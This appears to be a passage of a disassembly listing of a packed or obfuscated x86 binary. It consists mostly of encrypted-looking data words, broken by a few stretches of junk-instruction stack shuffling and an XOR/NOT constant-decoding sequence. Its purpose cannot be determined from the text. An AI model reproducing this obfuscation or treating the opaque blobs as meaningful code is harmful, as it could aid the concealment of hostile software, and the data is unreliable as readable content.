0CF004F04h, 6B45602h, 0D5842EACh dd 9C2C6152h, 0DF3E62C8h, 8C0BCA1Eh, 77A3345Bh, 0A98144C3h dd 0BCA1633Fh, 1ABE1BB8h, 89EBD4BBh, 0EB4F0544h, 21066F28h dd 0CB4F0544h, 0B78B1F1h, 942E1527h, 0FC7ACC8Eh, 81F2617Bh dd 605F382Bh, 1, 60D6CCB7h, 69E02AE7h, 8B40DAEEh, 0CB3CB739h dd 5F4329F1h, 20953BBEh, 725174A9h, 6F28A328h, 8E51D38Ch dd 0E91148B1h, 516BAC54h, 0A8D0CCBh, 88205B10h, 0E910D357h dd 6D957754h, 0D6F5037h, 6F54E911h, 30A7E3ACh, 6FA0DB90h dd 59C772A8h, 0CB9A8724h, 6D30491h, 0BD3CBB67h, 0DF5E1D2Fh dd 66AAF08Dh, 0F877E63Ch, 0C544F31Fh, 5397E3C2h, 6580E949h dd 632012FFh, 7C33F981h, 63C13E9Dh, 0C154E992h, 9253D10Eh dd 1ED154E9h, 1513AB5h, 0D85D0000h, 4B2AED6Fh, 0F799F5Fh dd 62395177h, 0AB8845B6h, 54E9043Eh, 0C822E556h, 80B9B123h dd 9E58C6E7h, 7ED901EAh, 4908400Dh, 560FF061h, 0CE8BF530h dd 0F19417C4h, 53C58892h, 5BAB4D39h, 15A798BBh, 9710C4DEh dd 59450EC5h, 5EB41B92h, 996C7CF6h, 7359321Fh, 0D1EB62E9h dd 5BBAE6C4h, 887A1D9Ch, 33F9C3BBh, 4D2Ch, 62D86B00h, 7FFD25E8h dd 98E5ECFCh, 4F04E59Ah, 2BE4D91Ah, 0E6596B54h, 0F83B4F04h dd 31B9E1E0h, 9694DDB6h, 354F04E5h, 0BF6B256Dh, 5F6D5235h dd 0E64F04E6h, 0D2BF38BCh, 7AA067A8h, 9496EFFAh, 104F04E5h dd 9E21EADFh, 9ADFh, 6FD80E00h, 0F8D52AEDh, 7454E8F6h dd 46F6DC83h, 8C0FCC78h, 0E47A6B42h, 0DC9BA12Bh, 6BE03A5Dh dd 67D8F0h, 0BA54E945h, 0FE79FF2Bh, 329C79EAh, 0CF8E94CEh dd 576F179h, 17894E48h, 4E0F7C8Dh, 4AF9D3h, 3598E43Bh dd 0E9DE6AC8h, 0D409CA54h, 8B09C6B1h, 950D65C4h, 79912B30h dd 8477F52Ah, 2BF554E9h, 11FA2FAAh, 0D3C2714Eh, 257D5AD4h dd 515D36B1h, 9F8BCA9Eh, 0AAF4A1D8h, 4E1EAA2Dh, 5F2BCE4h dd 4CFFC087h, 0F3550007h, 24639EA7h, 0F30F9ED0h, 610DC641h dd 0D8BE2FAEh, 4B2AED6Fh, 4E5F87Ah, 6783744Fh, 0CA9D76F1h dd 0B9BB846Bh, 6B4F04E5h, 0EFE5B07Fh, 0BD7E684Dh, 3787E5DAh dd 32E54F05h, 86E91859h, 8A4D54F0h, 2CAF2C3Eh, 6AFA71A9h dd 0E45F6DEAh, 4F2619B3h, 0C3CA00AFh, 9358B9F9h, 2EAD7518h dd 4D0F1DAFh, 0F56486D2h, 17C46672h, 48BD3CBDh, 0C2CEAC70h dd 9AC5A798h, 0F427C000h, 535F2583h, 2F1005B2h, 0C0009B4Dh dd 943B6CAFh, 8F4EC98Eh, 0E9A22593h, 302E3h, 6550000h dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 0AB68B30Dh dd 8900003Eh, 8952240Ch, 4C281E2h, 83000000h, 148704EAh dd 1C895C24h, 0E1895124h, 4C181h, 0E9830000h, 240C8704h dd 242C895Ch, 0EB4FDC68h, 241C8B05h, 4C481h, 8B540000h dd 0C483242Ch, 8B95104h, 1000000h, 348153E9h, 301C4F24h dd 81018F04h, 301C4F31h, 2C8B5904h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 5B2434FFh, 0E904C483h, 0FFF928A2h dd 54A5B840h, 0C50305EBh, 0E548E0FFh, 0CBDA08C8h, 71F6393Ch dd 366D2D3Bh, 721234FAh, 0C9E67EA6h, 58737D0Bh, 6EDC00F7h dd 175A588Ch, 0A4A3223Eh, 85C712BCh, 8EA0722Fh, 1801220Dh dd 0C65A3C73h, 51564398h, 0D8A37420h, 0A1E37FCBh, 0F5F778E8h dd 902E7BDBh, 0F6F55F0Bh, 56AE78FAh, 0B93A76CAh, 7DDA4F3Ch dd 4EB21C7h, 0CF11CD5h, 520E9h, 0F970E300h, 0B8C4CD6h dd 5CDB9E84h, 0F46FE139h, 0D8449D1h, 77229D8Ah, 0DE444BC6h dd 24FEE11Eh, 889235B6h, 0BE4548C3h, 3A9496EFh, 6A1054F0h dd 49C0773Dh, 0B2F35273h, 4F04E5B0h, 40ECB0Ch, 6BB7D651h dd 70AA6DECh, 0C29643FCh, 0A038B338h, 359DE9Ah, 0EFFD74F9h dd 4B61985Dh, 25ED15F7h, 6A8BF7D1h, 4FAB6AEDh, 8937C695h dd 56692278h, 37A40ECCh, 6CA1D89Dh, 13B2E75Ch, 0F2C641F7h dd 516BE468h, 31A40CCBh, 0D57745B6h, 8ED7E564h, 5CCB3B1h dd 0E6FE314Fh, 80DC141Ch, 0A117F63Ah, 0FC7BA726h, 37B09A7Dh dd 6B80AD0Fh, 0D2E661D6h, 69632C61h, 59B71F6h, 0E121BB4Fh dd 157E5B28h, 5D8C2Eh, 77CB0000h, 0CC7349C0h, 4F04E66Ch dd 35FC2486h, 2E14C94Eh, 1BFh, 0E6CCDE00h, 4D7ADDE8h, 0C5C18AA7h dd 581A0015h, 69568DDFh, 4F05DD0Bh, 0EFC05939h, 0B822BFA9h dd 77430277h, 78E04D7Ah, 5E7AD726h, 318B0CCCh, 9A2EA92Bh dd 0A8F23E88h, 6943C472h, 45F511FAh, 9047C3C2h, 77E17619h dd 0EB714BC6h, 4AD0E86Fh, 0AFBD0F88h, 281BB128h, 8CA1CDEh dd 0D5063D8Fh, 9090EA87h, 0B9F9C158h, 0B7889558h, 4F04E5B5h dd 0C93C437h, 9226A116h, 7246C188h, 0D1EB64E8h, 0BC0C8B4Bh dd 0B8595921h, 3221BB34h dd 0BFEBEAC1h, 382B8138h, 0C60F735Fh, 2E14CF6Dh, 2CAF2C76h dd 7C7463h, 4D550000h, 89BA0E89h, 0C6778FCCh, 6EEB714Bh dd 8243D1EBh, 630E0A8h, 0E4B1EB32h, 0E657B6FAh, 3FBE646Bh dd 0A0122880h, 7F0A6027h, 6131E186h, 42C5748Eh, 0B810FD76h dd 3E07E6EDh, 4F059A3Ch, 309A77B8h, 833A39F0h, 50A32E15h dd 0EA000000h, 0CD63D6CCh, 0F15A8F0Eh, 0CA3B2095h, 4F04E668h dd 7FDE13C4h, 5A37B223h, 0ED6EEC7Eh, 0F236C02Ah, 0CCE36F88h dd 17F54903h, 0CC4B0AEBh, 0C3771CC9h, 6EF37444h, 0B84F04E6h dd 4C37FE22h, 552E14C9h, 0D9AB89F6h, 0C6094F04h, 1520Dh dd 77850000h, 73EC6EC2h, 0DB90AA3Eh, 0EAB008A0h, 179247A6h dd 0CA480570h, 0D95BA40Bh, 5B4F04E5h, 0AC3F1A81h, 0C63B2ABCh dd 7C45BA0Dh, 0D854E9BDh, 30A74517h, 4F0C16B9h, 0E5F776E5h dd 6CA183FCh, 0D00354E9h, 291EAA9Fh, 54E96D49h, 1EFF2389h dd 63BFDE59h, 0C56775F4h, 0BF38BE16h, 0F7C5362Dh, 0DA8080DAh dd 6D280A7Bh, 70E454E9h, 4F08CBF7h, 0B2159443h, 6D9092D3h dd 0CC8C54E9h, 339C5F4Bh, 66D5CDACh, 5DDF20E7h, 0DF54E96Dh dd 47FB31Ch, 7533F950h, 12Ch, 0ED6FD8A0h, 0F87A4B2Ah, 744F04E5h dd 0E77D683h, 54E903A1h, 94B602F5h, 0B9E1A427h, 0A4239335h dd 21EADF14h, 54D7849Eh, 0F671E604h, 8FF3D7E2h, 8C0FCDD5h dd 404A073Ch, 0BD8D108Bh, 33F8E5C6h, 4337h, 6DCC6600h dd 0DB088335h, 4F04E659h, 0FCBF18DBh, 0FCC1840Eh, 4F04E6CEh dd 139444AEh, 3598AB9h, 4E65EDCh, 0ED15FD4Fh, 0AA6DE7A3h dd 4E62755h, 15C4DE4Fh, 2ABE39BBh, 6F0BC439h, 0A5AA29ACh dd 0FD000000h, 237F6FD8h, 6DCF34B3h, 0CF4F04E6h, 0C542F20Ch dd 440B7CF7h, 8138BDE5h, 0F72EEFD4h, 8D9554E8h, 0E6804DCCh dd 8EDA5D1Ch, 0B2486055h, 7038205h, 0C283D950h, 0CF9D16D8h dd 0F37ABB14h, 0A954E8F6h, 0B93EDFC3h, 732C9F3Eh, 8C42EF1h dd 7AB45E84h, 3C83622Fh, 3DE98BD6h, 8C533114h, 0E915B1B3h dd 17C03354h, 0D46BD32Eh, 0E4F4275Ah, 42169146h, 23B932B8h dd 83D95019h, 9850503Ah, 743A66CCh, 695639BBh, 54FFA092h dd 6E745E3Dh, 38DBD016h, 0E492B18h, 71AB54E9h, 7D0611C0h dd 2CE9DAAEh, 994E5182h, 2AED6FD8h, 0F03BDED5h, 0C3995A54h dd 943BB239h, 7A4EC98Eh, 0A8323C5h, 74EF615Eh, 9611C664h dd 0AFD3B7C2h, 0F7AA88F5h, 0C90A5BF5h, 0C7C38294h, 95319A15h dd 4CCF8C6Dh, 31006A49h, 8D1F935Dh, 2097F35Ch, 470913A9h dd 5B1109CCh, 0FE5B8820h, 78B802DAh, 0F45BD299h, 1FAD2AAEh dd 38EB49B6h, 86495BF6h, 3DE5F855h, 0C4AD3FBEh, 11h, 4BA70613h dd 0B83F59DDh, 5EB8AB01h, 0B51EDCC1h, 4DC47724h, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh, 0EC83B30Dh, 24248904h, 4BB53h dd 5C010000h, 685B0424h, 4F09h, 52241C89h, 0C281E289h dd 4, 4EA81h, 14870000h, 4895C24h, 70BE5624h, 53361B35h dd 107B19BBh, 5BDE017Ah, 6F3DEE81h, 0C6816F18h, 0C4D81448h dd 545EF389h, 8324048Bh, 515304C4h, 6764D1B9h, 244C2966h dd 408F5904h, 8408108h, 666764D1h, 5124048Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835B24h, 2320E904h dd 5E94FFF9h, 0C7A47C0Ah, 9F7C932Bh, 2E5D7803h, 5A19B8E3h dd 0C50305EBh, 0C1B1E0FFh, 5A9672Ch, 0DE4A4939h, 0B2657A7Ch dd 0F3BB2140h, 6BE1317Dh, 764A019Ah, 7AAD3C9Ch, 577763C8h dd 457B7AB6h, 88426034h, 0FD421984h, 3C8364D0h, 80624D08h dd 0B2AD5CF1h, 0FFDF344Eh, 156353ADh, 9F1D65BAh, 8EFE370Ch dd 0E0930FCAh, 0D3C1695Ah, 0E13D7343h, 4EB0605h, 54FF80BCh dd 543E9h, 6DE45700h, 0BF38B06Ah, 0D0570218h, 68E355CDh dd 8138BD65h, 0FBAE091Eh, 42D8FF7Ah, 0A8721592h, 0FC26A922h dd 22D9FC7Fh, 41200263h, 0EE9C54F0h, 49C077B1h, 0ED64E973h dd 29BB30EAh, 0E446BFA4h, 404F04E5h, 0A6695A8Fh, 6F7DFE7Ch dd 0AB2CAAF4h, 63692211h, 0C19B12D9h, 0A038BF3Bh, 29C8C892h dd 0C5A42BA2h, 0A2B83CEDh, 9FEB4870h, 97F35CDBh, 4027A621h dd 4D1F985Ah, 7326D18Fh, 0B7E8F14Bh, 958DEFD0h, 2CEF4F05h dd 36B12763h, 5BD498A2h, 0F87FFB01h, 1F985AE0h, 0A5EDB74Dh dd 8989536Dh, 0A669E268h, 957CFEC7h, 0A5F84F05h, 594DA58h dd 0A4995A4Fh, 894ED4EBh, 0A485BA0Eh, 4E4F0594h, 86FD347Ch dd 0F72E1578h, 5Ch, 49C07726h, 0E66CCC73h, 0DF864F04h dd 34ED8EF3h, 0F55E5305h, 0A7F3A9E9h, 7FDA767h, 776A017h dd 2CA7B97Bh, 20635700h, 492E14FFh, 1, 44C3778Ch, 81356D74h dd 7B06C91Fh, 85F62A5Dh, 8D0ACEC8h, 30AB2D3Fh, 0F0308A98h dd 6AC75911h, 5677F00Eh, 61C83F4h, 26B7D651h, 714BC677h dd 0D0E86FEBh, 56041EC5h, 0EDFF78FCh, 0E480576h, 0F772E302h dd 0A8D4AD0h, 0AA2DACBEh, 0BBE7431Eh, 14CF0172h, 0A16A2Eh dd 0F45B0000h, 4DBA98Bh, 6AED6B4Fh, 85D2BF70h, 0E867D6CCh dd 0E65AD825h, 19DA4F04h, 64E352BCh, 8403B654h, 5C441E34h dd 0DE8138BDh, 3D9611C4h, 42FD70AAh, 0E962D476h, 0C8749D3h dd 222FAEBCh, 4E65FDDh, 291ADD4Fh, 256DCF93h, 40CDEEDh dd 14CF66CDh, 0B2987F2Eh, 52C72B81h, 0D25091AFh, 524F0494h dd 59B934E1h, 0DC000000h, 0F562C677h, 0D0529372h, 2C4F04E5h dd 0FBD7B6EBh, 78860344h, 0FE7C4160h, 7E4F0520h, 0CD8F48BDh dd 76ACB93Fh, 1A1849C6h, 9A4F0521h, 0F0546459h, 5607E62Ah dd 7723B4DBh, 6D7444C3h, 4F088335h, 4E60166h, 306A2B4Fh dd 0C5603BCh, 0C976CD04h, 1E72E14h, 36000000h, 8047C277h dd 0F673C921h, 0D9099ED5h, 5808AE8h, 6C29EA4Fh, 9E19DE6Ch dd 75372CAh, 3DD5CE8Fh, 0F5D1BA96h, 6AED6C8Dh, 25A7106Bh dd 5DB41D62h, 0CF0054E9h, 71E86FFDh, 0AD07B46Eh, 9153B62Eh dd 3923BEF5h, 63993C4h, 54E95922h, 0E0F877E6h, 0E189F5Ah dd 21F9D34Ch, 0C59F575Bh, 39613B67h, 0B4AF3DB4h, 8138BFDBh dd 0D457041Eh, 76F16684h, 0B214D862h, 79538403h, 59056758h dd 0B46754E9h, 5E6AED6Ah, 338A0DCCh, 8E32B57h, 28AF4EB2h dd 6758D398h, 3CB19260h, 13DA33F9h, 7D000001h, 2AED6FD8h dd 0E903CCD5h, 5567A854h, 0F1B00B7h, 9597CC4Bh, 7754E902h dd 0C2714BC6h, 0A32217D8h, 6379F067h, 0C19B12D9h, 4BAAD6B4h dd 39B2248Ch, 1271C1C4h, 7B33F8E6h, 43h, 0E862D892h, 0E6AAD825h dd 498A4F04h, 0E66ECC73h, 0FEED4F04h, 0D82530A4h, 4F04E65Ah dd 6B2419DAh, 0BD6D236Fh, 4D0A5C1Eh, 1045FECAh, 0F7568BB8h dd 4E5FC8Eh, 0D087834Fh, 1F2FC59h, 94DF9Eh, 0D80E0000h dd 0D52AED6Fh, 54E8F6F8h, 45C473AFh, 9713FC77h, 32B9E1A4h dd 60FADEBBh, 0B56D70EBh, 0AC358706h, 4088FA46h, 0DAB7F718h dd 0E9D09295h, 0B199C854h, 6B59543h, 0D43E3587h, 0C4910156h dd 0C077969Ah, 0BA734649h, 39D755AAh, 803554E9h, 680B309h dd 8AFF78FCh, 0BE89F659h, 1A5AD494h, 8B9776D9h, 0C97A4EC9h dd 13F49A98h, 7CD91A4Fh, 8E09CE5Ch, 9898623Ah, 349B19D6h dd 8DE00BDEh, 0C97A4EC9h, 2FDEC98Dh, 14C132ADh, 0FF014CB1h dd 9A5D54FFh, 6DCC62FBh, 4E61210h, 0F674494Fh, 764F04E5h dd 7DD61985h dd 9C43C1BEh, 0F040D4A3h, 39BFEB54h, 5C392ABEh, 8ACBE152h dd 4158DA2Bh, 63D454F0h, 45EF6CB6h, 0BC231497h, 9776F166h dd 0AA0D38BBh, 0A865B4E6h, 3F49A120h, 0A0DB9171h, 5AFFDB08h dd 6BD99B8h, 324EB8BDh, 0B1E7CC89h, 0BBA604EDh, 0E84ABB1Ah dd 44A404ACh, 949CC693h, 14166FCEh, 90A404ADh, 714BC476h dd 0C07591C2h, 0D5828C49h, 366C3352h, 2EA92086h, 6474A99Ah dd 73F822EFh, 0B9E1E0F8h, 372CBC37h, 1CBE305Ah, 0ACF346Dh dd 0CC063D8Fh, 0CD3EF3C5h, 5D452FFFh, 19BC3FBCh, 0CD34A01h dd 0CFD250ADh, 0E152A404h, 0E53DA434h, 0A41BF477h, 3, 775106F3h dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 2D1Ch mov [esp], ebx push edx mov edx, 0D2D7F0Ch xor edx, 33253829h not edx xor edx, 0C41CE3FAh mov edi, edx mov edx, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [ebx+8] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- dw 56E7h dd 0FDB68376h, 893E590Ah, 0EB5FD7B8h, 0FFC50305h, 0BA5CB4E0h dd 88E13428h, 0C51F4A6Fh, 0FFD50238h, 622BD400h, 49BB8E17h dd 7CFCDF2Eh, 0DBEC9A7Bh, 2A04EB09h, 0E96ED4FDh, 562h dd 0D1F46FE0h, 87068149h, 345BDE9Bh, 0ECF36CEEh, 85088736h dd 0C1742590h, 1BDB4746h, 0AB21F99Ch, 0C675AD30h, 0EAB94047h dd 0F0459795h, 38971554h, 7349C077h, 2AED64E9h, 0E5F87A4Bh dd 83744F04h, 71D0B7D6h, 0F926A129h, 4F04E67Bh, 0F4DC36F9h dd 0C2AF6A8Fh, 94434F08h, 36A54715h, 0ECAD0B7h, 7EB32CA0h dd 0BC1CF96Ah, 1FAD2AAEh, 9A5A4005h, 8A944F1Dh, 0C2714BCCh dd 0A4454D09h, 911B437h, 7655A43h, 654F057Dh, 6DE668B2h dd 2CB3E45Fh, 0F5C740F6h, 0A568E757h, 6C7CFF7Dh, 0EEBE1AF7h dd 7FFD1C04h, 0B1E265D5h, 57A80FEEh, 4F057CD5h, 0BDBFE457h dd 3F4F057Ch, 968C13FCh, 2D12A621h, 4F057D4Ch, 15DCC4E6h dd 2E15602Eh, 8B5Fh, 0C077FE00h, 48527349h, 85BE0A85h dd 97BD3149h, 560384A8h, 5860969h, 979B214Fh, 1568E55Eh dd 1162Eh, 77410000h, 8BE9D6C3h, 0E94F04E6h, 0E5E94BB4h dd 884B4F04h, 0B4566257h, 57489A04h, 6F45F4FAh, 0DA9CAE3Ah dd 7BF10BA1h, 94E9E8C0h, 4F057A96h, 14D92516h, 947ECF9Dh dd 852A46Ch, 0E661E908h, 0F105CB27h, 579193ECh, 20134F05h dd 2198A2F6h, 0C6D2A0F5h, 834C2313h, 0D0859DFCh, 75F90359h dd 0C2CC89FAh, 5AF39215h, 714BC677h, 0D0E86FEBh, 54041EC5h dd 545C06D3h, 28A000B5h, 454D386h, 15CE9ACFh, 0C4DEBD20h dd 0DC69215h, 16914640h, 0B631B842h, 8FF35722h, 14CEED46h dd 2EACF62Eh, 6B241FADh, 0A87Ch, 81356D00h, 0CC0C4D06h dd 6279E0E6h, 0DC26B6A9h, 12C19B1Ch, 61985DB9h, 66C354BEh dd 49AC7C79h, 5D9F674h, 5085764Fh, 8237D587h, 0C59FB507h dd 0DE9B87DDh, 2194FE5Bh, 7AFB27A6h, 570218FFh, 0C5507D0h dd 0D9D250ADh, 0C8524F05h, 1328601h, 550703CCh, 0AC338EDAh dd 7547C076h, 0D5E762D7h, 1CD12D1Eh, 0B31CD7E5h, 5122EB17h dd 522E15C3h, 0CFB0B2F3h, 0CB0C4F05h, 49570Eh, 91700000h dd 5CFCEACh, 20ED2E4Fh, 4BC677ABh, 2463AE84h, 0B0221785h dd 0E157F5E7h, 2C8E5266h, 0C05005E4h, 4B2D0697h, 4C538498h dd 5DC3779Bh, 87F41772h, 0D9F32402h, 5B90166h, 91912B4Fh dd 159BEB58h, 11C2Eh, 77BB0000h, 0AA8047C2h, 0F579C3F7h dd 99F56E7Ah, 0A0172BA1h, 0B11BF429h, 1FAD2CABh, 5CBDE54Fh dd 1B85339Dh, 0A86309E1h, 0BDEE23B7h, 74F6AF1Ah, 3263AC91h dd 40B354E9h, 0E265D268h, 39B027E3h, 118A4C56h, 4FD31444h dd 0F354E8F0h, 303273D2h, 8C54E8F0h, 0DCC48E4Bh, 583FBE3Dh dd 0FEF44C72h, 5491284Fh, 0BE838A03h, 0BFCE8BFCh, 6775F463h dd 3EBE16C5h, 0C7382B81h, 9E82D8F5h, 5E41F87Fh, 930F137Fh dd 2EDCA8B5h, 15F82DAAh, 0E92E4A28h, 0AC69AA54h, 0F910F94Ah dd 1346233h, 0FC430000h, 0E921A183h, 6CD65354h, 6469E70Ch dd 0FFDCB97Ah, 2AED6FD8h, 0E903CCD5h, 5567A854h, 68900B7h dd 8CDC5F1Ch, 4867F97Eh, 94CF9A76h, 6459E211h, 95C6B98Dh dd 2D7D08A0h, 1853BFE5h, 83D14A2Dh, 45179247h, 96F05D8Eh dd 0D327A621h, 33F8E570h, 5299h, 0D6CC3C00h, 62D1EB64h dd 9218C2A9h, 0E6C0F233h, 5B9C4F04h, 0E65CDE01h, 36B84F04h dd 5F1D2FBDh, 0F3C940F5h, 0E9BD0F40h, 23CE1F03h, 2857450Bh dd 5A20BFF0h, 28A21856h, 0D86A1865h, 9114F05h, 47FCCC47h dd 0A82FE08Ah, 9129h, 0D8908A00h, 0D8E5F25Fh, 4B2AED6Fh dd 22639E5Fh, 4F04E640h, 64E352BCh, 0EA65D733h, 0A4615E21h dd 0C054E8F6h, 0E052480Fh, 359E5567h, 57D685A7h, 0AF28AAF0h dd 5266E153h, 899134E1h, 0CE714BC2h, 54E8F767h, 0AA4BB715h dd 442BAA2Dh, 0CC50766Eh, 917A2001h, 28EF6DDAh, 0D449DFD7h dd 3B9A5D5Ah, 118E4E54h, 0D95B88BBh, 0B4F1448h, 0A389CD33h dd 58A2DC04h, 6A271893h, 9C1FDC6Eh, 6A967CCCh, 26E96B24h dd 24E5D9h, 2C95355h, 0D102318Bh, 6FD819CEh, 399314C4h dd 9776D90Ah, 0E23760BBh, 0DCB9201Ah, 0F0861F97h, 0AD6C4654h dd 0D3BE1FC2h, 0C536B01Dh, 67E655F7h, 933DBA60h, 4CCB8F21h dd 0A192C77Ch, 4DAED40Bh, 6BEEC030h, 8B4EDCECh, 6ECBC0Ch dd 0E6C0D21Ah, 1D9C5BBAh, 0B02BA07Ah, 0EA61B918h, 21EA5973h dd 0E0F873E5h, 0AF4EB218h, 60C22328h, 0DCBDD93Dh, 0B6028532h dd 701748BDh, 1EAA2DAAh, 1B57h, 0F1A7000h, 0B7DF5124h dd 0C5B7B58Ah, 0C235BDD9h, 3B7A4591h, 0C5208ACCh, 51064308h dd 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h dd 617BF667h, 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 0E18951B3h dd 4C181h, 0BA520000h, 4, 875AD129h, 565C240Ch, 0C681E689h dd 4, 4EE81h, 34870000h, 34895C24h, 26D26824h, 2C890000h dd 0D9B85024h, 89591525h, 0F68158C6h, 5CFE454Eh, 242C8B54h dd 8304C483h, 348904ECh, 8458F24h, 5D2434FFh, 4C481h, 348B0000h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 17D0E95Ch dd 0DC06FFF9h, 80B83F7Fh, 305EB65h, 39E0FFC5h, 0E43B64D4h dd 854DBDA0h, 212BB2E0h, 0B9527389h, 4006FC45h, 2D76E384h dd 5355C7D4h, 0C116BAF3h, 0FD05A193h, 7B30C721h, 0F0100B6Bh dd 120B4C3Ah, 0B1E101Bh, 0A6624h, 674FFD7Ah, 1A06325Eh dd 0A568E814h, 146DFBE2h, 0D678151Ch, 0C42A3023h, 94090D3Fh dd 0E11F2591h, 6D2A5A94h, 83416A51h, 0F7583AE3h, 4E4A6A15h dd 814DC1F0h, 0A538BE2h, 8D5EE216h, 0EB67568Dh, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 12156801h, 4980E47Eh, 0DEB70F2Eh, 10958D89h, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 6C6AB5C3h, 8D89898Fh, 5E41D51h, 2C6585C7h, 662805E4h dd 870F0000h, 6, 3CDB589h, 852B05E4h, 5E42681h, 30FD85C7h dd 5E4h, 85010000h, 5E41069h, 78DB5FFh, 6A05E4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6EDB60C3h, 22A5D281h, 95FF2ABEh, 5E42A61h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EDC35545h, 0BD039433h dd 5E41D7Dh, 95FF006Ah, 5E410C1h, 7FEBC08Bh, 62A959EFh dd 9C76994Bh, 0A394FEE4h, 0AC0BDE99h, 0AC536221h, 5C0D3FA9h dd 0DF7E0FE2h, 0ADC1230Ah, 0A458C0FCh, 3C87EE53h, 56B9AF28h dd 91D4CB80h, 0A070BB4Eh, 4312F810h, 0B688205Ah, 53093624h dd 0FCA02CBDh, 0C007E045h, 568A8BBDh, 0C9474053h, 2F4A9B64h dd 2D885D1Ah, 63C403CBh, 4C4F9870h, 0AE1FC84Eh, 0DEDF0BCh dd 0D92B592h, 0F7972591h, 776A2ED2h, 4DFD8B5Eh, 118749BBh dd 0EB29A74Dh, 0C97ECB04h, 57EE937h, 21920000h, 7FFB27A6h dd 8C4DD5F8h, 0DE908A0Dh, 75F822A5h, 7342DBFAh, 9538B726h dd 4F4EC98Dh, 0E3E265D3h, 9639B027h, 0E547B8EFh, 4754F04Ch dd 0C0776A21h, 48527349h, 0BEB50780h, 8D04C9D5h, 205B100Ah dd 42C57288h, 0E364D476h, 21613BC9h, 0D900BC0h, 60C274AEh dd 0E85B71EAh, 3AB0DAB7h, 75A621A8h, 37277352h, 14A18D4Ch dd 0A32975DEh, 0CA8A9028h, 0C5AF7F4Dh dd 0DF2087DDh, 4F05765Dh, 57B31CDFh, 0BB6766E1h, 0C0DABD3Ch dd 95C7900Bh, 575CD52h, 5D45674Fh, 1559AF94h, 9ED82Eh dd 0CC7F0000h, 2EEB64D6h, 11F477E4h, 3CC4709h, 0E5929649h dd 0C6764F04h, 6672ED60h, 1A20B8EDh, 0C58CDC5Bh, 4E67AF8h dd 0AE39FA4Fh, 0BF3DDCC4h, 42B7AC3Ch, 854CB416h, 2E14C8BEh dd 1D1F60C7h, 9F4F04DAh, 1C4F35Ch, 13000000h, 7444C377h dd 980356Dh, 0CBD780B3h, 2A30880Fh, 879D2FA8h, 73AFF53Dh dd 0FA6943C6h, 0C245F511h, 31A6FCC3h, 8CEED7B6h, 0E84F04E6h dd 0AB206A27h, 0A9BF48A2h, 7B61DC25h, 55C280Ah, 3753844Fh dd 0BEB50782h, 0DA2B8A4Dh, 4F055C58h, 570763D4h, 0FF687FD8h dd 0E966D6CCh, 6BB760D3h, 745D6FEAh, 9A2EA92Eh, 9B99E6A9h dd 194F04E5h, 59117DD6h, 0ABFF8ADEh, 615E3D67h, 4F04E603h dd 5BD68761h, 0EC61AD66h, 3C85275h, 24B42FA1h, 5CEEFA2Fh dd 0D4BB1A9Dh, 4E689EBh, 5031EB4Fh, 75DE9625h, 6D6F281Dh dd 0FC6CA90h, 2E157224h, 5755h, 0C6778000h, 6EEB714Bh dd 7943D1EBh, 0A39C6339h, 4F04E5C1h, 0FB27F023h, 42D8FF7Ah dd 0A6441493h, 5421BB34h, 0F0438AF6h, 192E14CEh, 66h, 62C677BCh dd 5C0374F3h, 0B9869346h, 4F04E5BBh, 0C885F639h, 7BFC7A80h dd 0F33F9D61h, 45FC71A9h, 0F713FC77h, 13C4CB46h, 0E463D6CCh dd 68B21FD4h, 7AA067E0h, 0F76C7CFBh, 0A889BE1Ah, 6C4F04E5h dd 0C05A6EE9h, 0AC39930Ch, 2E1AD2DEh, 0E65D949Ch, 172E14C8h dd 0Eh, 68EF6AB0h, 0D9DA58A5h, 995A4F04h, 0C2779F3Ch, 3B6CEB6Eh dd 5DDC9BA1h, 0ADD5BF0Fh, 4B0A8D4Ch, 833CBEE4h, 67C53A29h dd 0C54F04E6h, 5326B912h, 48B5189Ah, 54E9117Fh, 0B65464D7h dd 0A0078601h, 0F2A894Ah, 49FACE49h, 6E75830Dh, 0E90D1311h dd 6D5E9154h, 0D7CC7121h, 5F3807BBh, 0B7058433h, 0E9B5B0B0h dd 48481254h, 0D68222A9h, 0DAB91C51h, 0E9B687E5h, 0E832E554h dd 9A2DE661h, 7850CB80h, 0E6F275E2h, 0E9B3FFCBh, 0CB843FB1h dd 0CE9108CFh, 2AE760D4h, 98DCA79Bh, 600D33F9h, 48000001h dd 2AED6FD8h, 0E903CCD5h, 0A067A854h, 0F3444D4Ah, 0C7906C53h dd 66D6CC95h, 75E22CE9h, 8037D3F2h, 22A9B309h, 38BEE4ABh dd 70F763BFh, 0AA2EEB58h, 1D474B1Fh, 7DD65105h, 7C235A11h dd 5835B226h, 348EF545h, 36FF33F9h, 1E000000h, 25E862D8h dd 4E6AAD8h, 73498A4Fh, 0B844852h, 0E603614Eh, 0F8424F04h dd 0BE34F6B8h, 9017C3DFh, 998160C7h, 0B7FC59D0h, 4F04E605h dd 5211B467h, 0DFh, 